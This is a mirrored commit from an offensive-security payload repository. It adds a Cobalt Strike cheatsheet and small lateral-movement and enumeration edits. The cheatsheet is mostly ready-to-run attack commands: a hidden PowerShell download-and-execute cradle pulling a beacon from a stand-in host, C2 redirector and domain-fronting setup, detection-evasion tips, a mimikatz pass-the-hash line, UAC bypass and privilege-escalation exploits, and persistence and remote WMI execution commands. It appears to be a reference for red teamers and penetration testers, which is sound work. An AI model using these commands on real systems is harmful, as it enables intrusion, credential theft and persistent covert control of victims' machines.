mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
WMI + Cobalt Strike
This commit is contained in:
Swissky
parent
b76a23c77f
commit
7cd49769be
403
Methodology and Resources/Cobalt Strike - Cheatsheet.md
Normal file
403
Methodology and Resources/Cobalt Strike - Cheatsheet.md
Normal file
@ -0,0 +1,403 @@
|
||||
# Cobalt Strike
|
||||
|
||||
> Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.
|
||||
|
||||
|
||||
```powershell
|
||||
$ sudo apt-get update
|
||||
$ sudo apt-get install openjdk-11-jdk
|
||||
$ sudo apt install proxychains socat
|
||||
$ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
|
||||
$ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile]
|
||||
$ ./cobaltstrike
|
||||
$ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))"
|
||||
```
|
||||
|
||||
## Summary
|
||||
|
||||
* [Infrastructure](#infrastructure)
|
||||
* [Redirectors](#redirectors)
|
||||
* [Domain fronting](#domain-fronting)
|
||||
* [OpSec](#opsec)
|
||||
* [Payloads](#payloads)
|
||||
* [DNS Beacon](#dns-beacon)
|
||||
* [SMB Beacon](#smb-beacon)
|
||||
* [Metasploit compatibility](#metasploit-compatibility)
|
||||
* [Custom Payloads](#custom-payloads)
|
||||
* [Malleable C2](#malleable-c2)
|
||||
* [Files](#files)
|
||||
* [Powershell .NET](#powershell-net)
|
||||
* [Lateral Movement](#lateral-movement)
|
||||
* [VPN & Pivots](#vpn--pivots)
|
||||
* [Kits](#kits)
|
||||
* [Elevate Kit](#elevate-kit)
|
||||
* [Persistence Kit](#persistence-kit)
|
||||
* [Resource Kit](#resource-kit)
|
||||
* [Artifact Kit](#artifact-kit)
|
||||
* [TODO](#todo)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
## Infrastructure
|
||||
|
||||
### Redirectors
|
||||
|
||||
```powershell
|
||||
sudo apt install socat
|
||||
socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
|
||||
```
|
||||
|
||||
### Domain Fronting
|
||||
|
||||
* New Listener > HTTP Host Header
|
||||
* Target Finance & Healthcare domains
|
||||
|
||||
### OpSec
|
||||
|
||||
**Don't**
|
||||
* Change default self-signed HTTPS certificate
|
||||
* Change default port (50050)
|
||||
* 0.0.0.0 DNS response
|
||||
* Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D`
|
||||
|
||||
**Do**
|
||||
* Use a redirector (Apache, CDN, ...)
|
||||
* Firewall to only accept HTTP/S from the redirectors
|
||||
* Firewall 50050 and access via SSH tunnel
|
||||
* Edit default HTTP 404 page and Content type: text/plain
|
||||
* No staging `set hosts_stage` to `false` in Malleable C2
|
||||
|
||||
|
||||
## Payload
|
||||
|
||||
### DNS Beacon
|
||||
|
||||
* Edit the Zone File for the domain
|
||||
* Create an A record for Cobalt Strike system
|
||||
* Create an NS record that points to FQDN of your Cobalt Strike system
|
||||
|
||||
Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record.
|
||||
|
||||
* nslookup jibberish.beacon polling.campaigns.domain.com
|
||||
* nslookup jibberish.beacon campaigns.domain.com
|
||||
|
||||
Example of DNS on Digital Ocean:
|
||||
|
||||
```powershell
|
||||
NS example.com directs to 10.10.10.10. 86400
|
||||
NS polling.campaigns.example.com directs to campaigns.example.com. 3600
|
||||
A campaigns.example.com directs to 10.10.10.10 3600
|
||||
```
|
||||
|
||||
```powershell
|
||||
systemctl disable systemd-resolved
|
||||
systemctl stop systemd-resolved
|
||||
rm /etc/resolv.conf
|
||||
echo "nameserver 8.8.8.8" > /etc/resolv.conf
|
||||
echo "nameserver 8.8.4.4" >> /etc/resolv.conf
|
||||
```
|
||||
|
||||
Configuration:
|
||||
1. **host**: campaigns.domain.com
|
||||
2. **beacon**: polling.campaigns.domain.com
|
||||
3. Interact with a beacon, and `sleep 0`
|
||||
|
||||
|
||||
### SMB Beacon
|
||||
|
||||
Uses Named Pipes.
|
||||
Connect to an SMB Beacon : `link [host] [pipe]`
|
||||
|
||||
### Metasploit compatibility
|
||||
|
||||
* Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https
|
||||
* Set LHOST and LPORT to the beacon
|
||||
* Set DisablePayloadHandler to True
|
||||
* Set PrependMigrate to True
|
||||
* exploit -j
|
||||
|
||||
### Custom Payloads
|
||||
|
||||
https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c
|
||||
|
||||
```powershell
|
||||
* Attacks > Packages > Payload Generator
|
||||
* Attacks > Packages > Scripted Web Delivery (S)
|
||||
$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor
|
||||
$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml
|
||||
$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml
|
||||
```
|
||||
|
||||
## Malleable C2
|
||||
|
||||
* Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles
|
||||
* Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2
|
||||
* Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles
|
||||
|
||||
```powershell
|
||||
set useragent "SOME AGENT"; # GOOD
|
||||
set useragent 'SOME AGENT'; # BAD
|
||||
prepend "This is an example;";
|
||||
|
||||
# Escape Double quotes
|
||||
append "here is \"some\" stuff";
|
||||
# Escape Backslashes
|
||||
append "more \\ stuff";
|
||||
# Some special characters do not need escaping
|
||||
prepend "!@#$%^&*()";
|
||||
```
|
||||
|
||||
Check a profile with `./c2lint`.
|
||||
|
||||
```powershell
|
||||
#
|
||||
# Etumbot Profile
|
||||
# http://www.arbornetworks.com/asert/2014/06/illuminating-the-etumbot-apt-backdoor/
|
||||
#
|
||||
# Author: @harmj0y
|
||||
#
|
||||
set sample_name "Etumbot";
|
||||
set sleeptime "5000";
|
||||
set jitter "0";
|
||||
set maxdns "255";
|
||||
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
|
||||
|
||||
http-get {
|
||||
set uri "/image/";
|
||||
client {
|
||||
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
|
||||
header "Referer" "http://www.google.com";
|
||||
header "Pragma" "no-cache";
|
||||
header "Cache-Control" "no-cache";
|
||||
metadata {
|
||||
netbios;
|
||||
append "-.jpg";
|
||||
uri-append;
|
||||
}
|
||||
}
|
||||
|
||||
server {
|
||||
header "Content-Type" "img/jpg";
|
||||
header "Server" "Microsoft-IIS/6.0";
|
||||
header "X-Powered-By" "ASP.NET";
|
||||
output {
|
||||
base64;
|
||||
print;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
http-post {
|
||||
set uri "/history/";
|
||||
client {
|
||||
header "Content-Type" "application/octet-stream";
|
||||
header "Referer" "http://www.google.com";
|
||||
header "Pragma" "no-cache";
|
||||
header "Cache-Control" "no-cache";
|
||||
id {
|
||||
netbiosu;
|
||||
append ".asp";
|
||||
uri-append;
|
||||
}
|
||||
output {
|
||||
base64;
|
||||
print;
|
||||
}
|
||||
}
|
||||
|
||||
server {
|
||||
header "Content-Type" "img/jpg";
|
||||
header "Server" "Microsoft-IIS/6.0";
|
||||
header "X-Powered-By" "ASP.NET";
|
||||
output {
|
||||
base64;
|
||||
print;
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
## Files
|
||||
|
||||
```powershell
|
||||
# List the file on the specified directory
|
||||
beacon > ls <C:\Path>
|
||||
|
||||
# Change into the specified working directory
|
||||
beacon > cd [directory]
|
||||
|
||||
# Delete a file\folder
|
||||
beacon > rm [file\folder]
|
||||
|
||||
# File copy
|
||||
beacon > cp [src] [dest]
|
||||
|
||||
# Download a file from the path on the Beacon host
|
||||
beacon > download [C:\filePath]
|
||||
|
||||
# Lists downloads in progress
|
||||
beacon > downloads
|
||||
|
||||
# Cancel a download currently in progress
|
||||
beacon > cancel [*file*]
|
||||
|
||||
# Upload a file from the attacker to the current Beacon host
|
||||
beacon > upload [/path/to/file]
|
||||
```
|
||||
|
||||
## Powershell .NET
|
||||
|
||||
```powershell
|
||||
# Import a Powershell .ps1 script from the control server and save it in memory in Beacon
|
||||
beacon > powershell-import [/path/to/script.ps1]
|
||||
|
||||
# Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned.
|
||||
beacon > powershell [commandlet][arguments]
|
||||
|
||||
# Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto
|
||||
beacon > powerpick [commandlet] [argument]
|
||||
|
||||
# Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs
|
||||
beacon > psinject [pid][arch] [commandlet] [arguments]
|
||||
|
||||
# Run a local .NET executable as a Beacon post-exploitation job
|
||||
beacon > execute-assembly [/path/to/script.exe] [arguments]
|
||||
beacon > execute-assembly /home/audit/Rubeus.exe
|
||||
[*] Tasked beacon to run .NET program: Rubeus.exe
|
||||
[+] host called home, sent: 318507 bytes
|
||||
[+] received output:
|
||||
|
||||
______ _
|
||||
(_____ \ | |
|
||||
_____) )_ _| |__ _____ _ _ ___
|
||||
| __ /| | | | _ \| ___ | | | |/___)
|
||||
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||
|_| |_|____/|____/|_____)____/(___/
|
||||
|
||||
v1.4.2
|
||||
```
|
||||
|
||||
## Lateral Movement
|
||||
|
||||
:warning: All the commands launch powershell.exe
|
||||
|
||||
```powershell
|
||||
Beacon Remote Exploits
|
||||
======================
|
||||
jump [module] [target] [listener]
|
||||
|
||||
psexec x86 Use a service to run a Service EXE artifact
|
||||
psexec64 x64 Use a service to run a Service EXE artifact
|
||||
psexec_psh x86 Use a service to run a PowerShell one-liner
|
||||
winrm x86 Run a PowerShell script via WinRM
|
||||
winrm64 x64 Run a PowerShell script via WinRM
|
||||
|
||||
Beacon Remote Execute Methods
|
||||
=============================
|
||||
remote-exec [module] [target] [command]
|
||||
|
||||
Methods Description
|
||||
------- -----------
|
||||
psexec Remote execute via Service Control Manager
|
||||
winrm Remote execute via WinRM (PowerShell)
|
||||
wmi Remote execute via WMI (PowerShell)
|
||||
|
||||
```
|
||||
|
||||
Opsec safe Pass-the-Hash:
|
||||
1. `mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"`
|
||||
2. `steal_token PID`
|
||||
|
||||
### Assume Control of Artifact
|
||||
|
||||
* Use `link` to connect to SMB Beacon
|
||||
* Use `connect` to connect to TCP Beacon
|
||||
|
||||
|
||||
## VPN & Pivots
|
||||
|
||||
:warning: Covert VPN doesn't work with W10, and requires Administrator access to deploy.
|
||||
|
||||
> Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.
|
||||
|
||||
```powershell
|
||||
# Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage.
|
||||
beacon > socks [PORT]
|
||||
|
||||
# Proxy browser traffic through a specified Internet Explorer process.
|
||||
beacon > browserpivot [pid] [x86|x64]
|
||||
|
||||
# Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port.
|
||||
beacon > rportfwd [bind port] [forward host] [forward port]
|
||||
```
|
||||
|
||||
## Kits
|
||||
|
||||
### Elevate Kit
|
||||
|
||||
UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)
|
||||
|
||||
```powershell
|
||||
beacon> runasadmin
|
||||
|
||||
Beacon Command Elevators
|
||||
========================
|
||||
|
||||
Exploit Description
|
||||
------- -----------
|
||||
ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
|
||||
ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
|
||||
ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)
|
||||
svc-exe Get SYSTEM via an executable run as a service
|
||||
uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup)
|
||||
uac-token-duplication Bypass UAC with Token Duplication
|
||||
```
|
||||
|
||||
### Persistence Kit
|
||||
|
||||
* https://github.com/0xthirteen/MoveKit
|
||||
* https://github.com/fireeye/SharPersist
|
||||
```powershell
|
||||
# List persistences
|
||||
SharPersist -t schtaskbackdoor -m list
|
||||
SharPersist -t startupfolder -m list
|
||||
SharPersist -t schtask -m list
|
||||
|
||||
# Add a persistence
|
||||
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
|
||||
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
|
||||
|
||||
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
|
||||
SharPersist -t service -n "Some Service" -m remove
|
||||
|
||||
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
|
||||
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
|
||||
SharPersist -t schtask -n "Some Task" -m remove
|
||||
```
|
||||
|
||||
### Resource Kit
|
||||
|
||||
> The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows
|
||||
|
||||
### Artifact Kit
|
||||
|
||||
> Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI)
|
||||
* [Red Team Ops with Cobalt Strike (2 of 9): Infrastructure](https://www.youtube.com/watch?v=5gwEMocFkc0)
|
||||
* [Red Team Ops with Cobalt Strike (3 of 9): C2](https://www.youtube.com/watch?v=Z8n9bIPAIao)
|
||||
* [Red Team Ops with Cobalt Strike (4 of 9): Weaponization](https://www.youtube.com/watch?v=H0_CKdwbMRk)
|
||||
* [Red Team Ops with Cobalt Strike (5 of 9): Initial Access](https://www.youtube.com/watch?v=bYt85zm4YT8)
|
||||
* [Red Team Ops with Cobalt Strike (6 of 9): Post Exploitation](https://www.youtube.com/watch?v=Pb6yvcB2aYw)
|
||||
* [Red Team Ops with Cobalt Strike (7 of 9): Privilege Escalation](https://www.youtube.com/watch?v=lzwwVwmG0io)
|
||||
* [Red Team Ops with Cobalt Strike (8 of 9): Lateral Movement](https://www.youtube.com/watch?v=QF_6zFLmLn0)
|
||||
* [Red Team Ops with Cobalt Strike (9 of 9): Pivoting](https://www.youtube.com/watch?v=sP1HgUu7duU&list=PL9HO6M_MU2nfQ4kHSCzAQMqxQxH47d1no&index=10&t=0s)
|
||||
* [A Deep Dive into Cobalt Strike Malleable C2 - Joe Vest - Sep 5, 2018 ](https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b)
|
||||
* [Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019](https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/)
|
||||
* [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE – UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/)
|
||||
* [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon)
|
||||
* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)
|
||||
@ -113,6 +113,7 @@ List user privilege
|
||||
|
||||
```powershell
|
||||
whoami /priv
|
||||
whoami /groups
|
||||
```
|
||||
|
||||
List all users
|
||||
|
||||
@ -11,6 +11,7 @@
|
||||
* [Metasploit - Psexec](#metasploit-psexec)
|
||||
* [Crackmapexec](#crackmapexec)
|
||||
* [Winexe](#winexe)
|
||||
* [WMI](#wmi)
|
||||
* [Psexec.py / Smbexec.py / Wmiexec.py](#psexec.py---smbexec.py---wmiexec.py)
|
||||
* [PsExec - Sysinternal](#psexec-sysinternal)
|
||||
* [RDP Remote Desktop Protocol](#rdp-remote-desktop-protocol)
|
||||
@ -106,6 +107,12 @@ Integrated to Kali
|
||||
winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe
|
||||
```
|
||||
|
||||
## WMI
|
||||
|
||||
```powershell
|
||||
wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
|
||||
```
|
||||
|
||||
## Psexec.py / Smbexec.py / Wmiexec.py
|
||||
|
||||
from Impacket
|
||||
|
||||
@ -36,3 +36,4 @@ sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump
|
||||
|
||||
- [HACKING WEB SOCKETS: ALL WEB PENTEST TOOLS WELCOMED by Michael Fowl | Mar 5, 2019](https://www.vdalabs.com/2019/03/05/hacking-web-sockets-all-web-pentest-tools-welcomed/)
|
||||
- [Hacking with WebSockets - Qualys - Mike Shema, Sergey Shekyan, Vaagn Toukharian](https://media.blackhat.com/bh-us-12/Briefings/Shekyan/BH_US_12_Shekyan_Toukharian_Hacking_Websocket_Slides.pdf)
|
||||
- [Mini WebSocket CTF - January 27, 2020 - Snowscan](https://snowscan.io/bbsctf-evilconneck/#)
|
||||
Loading…
Reference in New Issue
Block a user